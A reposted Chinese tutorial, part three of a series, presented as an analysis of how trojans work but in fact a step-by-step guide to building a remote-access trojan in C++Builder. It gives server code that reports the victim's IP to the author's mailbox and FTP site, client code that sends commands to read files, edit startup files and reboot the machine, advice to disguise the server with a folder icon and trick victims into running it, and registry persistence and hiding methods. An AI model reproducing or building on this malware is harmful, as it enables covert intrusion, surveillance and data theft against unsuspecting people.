分享
 
 
 

斩草除根—分析木马是如何编写的(三)

王朝other·作者佚名  2008-05-19
窄屏简体版  字體: |||超大  

上次已编写完服务器端的各种功能,但还差容错部分还未完成,下面我们Go on! 其代码如下(照敲不误 ^_^):

{

END:;

Socket-〉Close();

//关闭服务

ServerSocket1-〉Active =true;

//再次打开服务

if (NMSMTP1-〉Connected) NMSMTP1-〉Disconnect();

//如果SMTP服务器已连接则断开

NMSMTP1-〉Host = "smtp.163.net";

//选一个好用的SMTP服务器,如163、263、sina和btamail

NMSMTP1-〉UserID = "";

//你SMTP的ID

try

{

NMSMTP1-〉Connect();

//再次连接

}

catch(...)

{

goto NextTime;

//跳到NextTime

}

NMSMTP1-〉PostMessage-〉FromAddress ="I don't know!";

//受害者的Email地址

NMSMTP1-〉PostMessage-〉FromName = "Casualty";

//受害者的名字

NMSMTP1-〉PostMessage-〉ToAddress-〉Text = "crossbow@8848.net";

//将信发到我的邮箱,这一步很关键

NMSMTP1-〉PostMessage-〉Body-〉Text = AnsiString("Server Running on:") + NMSMTP1-〉LocalIP ;

//信的内容提示你“服务器正在运行”,并且告诉你受害者的目前的IP地址,以便连接

NMSMTP1-〉PostMessage-〉Subject = "Server Running Now!";

//信的主题

NMSMTP1-〉SendMail();

//发送!

return;

//返回

NextTime:

NMFTP1-〉Host = "ftp.go.163.com";

//你的FTP服务器的地址

NMFTP1-〉UserID = "";

//你的用户ID

NMFTP1-〉Port = 21;

//FTP端口号,一般为21

NMFTP1-〉Password = "";

//你的FTP的密码

if(NMFTP1-〉Connected) NMFTP1-〉Disconnect();

//如果已连接就断开

try

{

NMFTP1-〉Connect();

//再连接

}

catch(...)

{

return;

//返回

}

AnsiString SendToSite = "Server Running on: " + NMFTP1-〉RemoteIP;

//受害者的IP地址

FILE * Upload;

Upload = fopen(NMFTP1-〉RemoteIP.c_str(),"w+");

//创建一个新文件准备写,如果已存在就覆盖

fwrite(SendToSite.c_str(),sizeof(char),SendToSite.Length(),Upload);

//写入以上的SendToSite的内容

fclose(Upload);

//写完后关闭此文件

NMFTP1-〉RemoveDir("public_html");

//删除public_html目录

NMFTP1-〉Upload(NMFTP1-〉RemoteIP, NMFTP1-〉RemoteIP);

//上传!

}

最后别忘了要在此服务器源码文件中添加以下头文件:

#include 〈stdlib.h〉

#include 〈dirent.h〉

#include 〈fcntl.h〉

#include 〈dos.h〉

#include 〈sys\stat.h〉

#include 〈winbase.h〉

#include 〈stdio.h〉

#include 〈process.h〉

#include 〈io.h〉

#include 〈mmsystem.h〉

至此,服务器端(Server)程序已全部完工!(终于可以好好歇歇了!)别慌!以上代码只是完成了整个木马程序的一半。(“扑通”,有人晕倒了!)下面我们就将乘胜追击――搞定客户端程序(Client)!

客户端程序其实是很简单的。另新建一个Form,添加一个ClientSocket(和ServerSocket在相同的页下),再添加四个Editbox,命名为Edit1,Edit2,Edit3和Edit4,最后添加一个Button,Caption为“发送”。Edit1是输入命令用的,Edit2是准备输入目标机的IP地址用的,Edit3是输入连接端口号用的,Edit4是用来输入欲添加的语句或显示命令执行的结果的。(头是不是有点大了?!)

双击Button1,在Button1Click事件中添加如下代码:

{

if((Edit2-〉Text=="")||(Edit3-〉Text==""))return;

//如果输入IP地址框或输入端口号框有一个为空,就什么也不作

ClientSocket1-〉Address=Edit2-〉Text;

//目标IP地址

ClientSocket1-〉Port=atoi(Edit2-〉Text.c_str());

//目标端口号,本例中的44444

ClientSocket1-〉Open();

//连接!

}

选中CilentSocket1控件,双击OnConnectt事件,在ClientSocket1Connect下添加如下代码:

{

if((Edit1-〉Text=="edit conf 1")||(Edit1-〉Text=="edit conf 2"))

//如果是要编辑autoexec.bat或config.sys

Socket-〉SendText(Edit1-〉Text+Edit4-〉Text);

//发送命令和欲添加的语句

else

Socket-〉SendText(Edit1-〉Text);

//否则只发送命令

}

双击OnRead事件,在ClientSocket1Read下添加如下代码:

{

AnsiString ReadIn = Socket-〉ReceiveText();

//读入收到的返回信息

Edit4-〉Text="";

//清空编辑框

FILE *fp;

fp = fopen("ReadIn.tmp","w");

//建立一个临时文件ReadIn.tmp

fwrite(ReadIn.c_str(),1,10000,fp);

//写入信息

fclose(fp);

//关闭之

Edit4-〉Lines-〉LoadFromFile("ReadIn.tmp");

//在编辑框中显示返回的信息

}

为了敲完命令后直接回车就可以发送,我们可以使Button1的代码共享。双击Edit1的OnKeyPress命令,输入:

{

if(Key==VK_RETURN)Button1Click(Sender);

//如果敲的是回车键,就和点击Button1一样的效果

}

最后再添加以下头文件:

#include "stdlib.h"

#include "winbase.h"

#include "fcntl.h"

#include "stdio.h"

终于写完了!!!(如果你对简陋的界面不满意,可以自己用BCB中丰富的控件好好完善完善嘛!)按下Ctrl+F9进行编译链接吧!对于Server,你可以选一个足以迷惑人的图标(我选的是一个目录模样的图标)进行编译,这样不但受害者容易中招,而且便于隐藏自己。

接下来就把Server程序寄给受害者,诱骗他(她)执行,在你得到他(她)的IP后(这不用我教吧?),就启动Client程序,敲入“edit conf 1”就编辑Autoexec.bat文件,敲入“edit conf 2”就编辑Config.sys文件,敲入“dir xxx”(xxx是目录名)就可以看到目录和文件,敲“type xxx”就可以察看任何文件,输入“open”,弹出目标机的光驱托盘,“close”就收入托盘,输入“swap”就可以交换受害者的鼠标左右键,输入“reboot”就启动目标机……不用我多说了吧?

以上只是一个简单的例子,真正写起木马来要解决的技术问题比这多得多,这得需要扎实的编程功底和丰富的经验。如下的问题就值得仔细考虑:

首先是程序的大小问题,本程序经编译链接后得到的可执行文件竟有400多K,用Aspack1.07压了一下也还有200多K。可以看出不必要的Form是应该去掉的;并且尽量由自己调用底层的API函数,而尽量少使用Borland打好包的VCL控件;要尽量使用汇编语言(BCB支持C++和汇编混编),不但速度会加快,而且大小可以小很多,毕竟木马是越小越好。

还有启动方式的选择。出了Win.ini、System.ini之外,也还是那几个注册表键值,如:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersionRunServices

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

都已被其他的木马用烂了。现在又开始对exe、dll和txt文件的关联程序动手脚了(如冰河和广外女生)。这里涉及到参数传递的问题。得到ParamStr()函数传来的参数,启动自己后再启动与之关联的程序,并将参数传递给它,这样就完成了一次“双启动”,而受害者丝毫感觉不到有任何异常。具体键值如:

与exe文件建立关联:HKEY_CLASSES_ROOT\exefile\shell\open\command

与txt文件建立关联:HKEY_CLASSES_ROOT\txtfile\shell\open\command

与dll文件建立关联:HKEY_CLASSES_ROOT\dllfile\shell\open\command

等,当然还可以自己扩充。目前还有一种新方法:在

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion

\Windows下添加如下键值 "AppInit_DLLs"="Server.dll",这就把Server.dll注册为系统启动时必须加载的模块(你应该把木马编译成DLL)。下次开机时,木马以动态链接库形式被加载,存在于系统进程中。因为没有它自己的PID(Process ID 进程识别号),所以在NT的任务管理器中也看不见(不过在“系统信息”――“软件环境”――“已加载的32位模块”中还是可以详细看到当前内存中加载的每一个模块的),这样做的目的是可以使自己的程序更加隐蔽,提高木马的生存能力。

木马的功能还可以大大扩充。你可以充分发挥你的想象力――比如上传、下载、新建、改名、移动文件,截图存为jpg文件传回,录音监听成Wav文件,录像成AVI文件,弹光驱,读软驱,关机,重启,不停地挂起,胡乱切换分辨率(烧

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有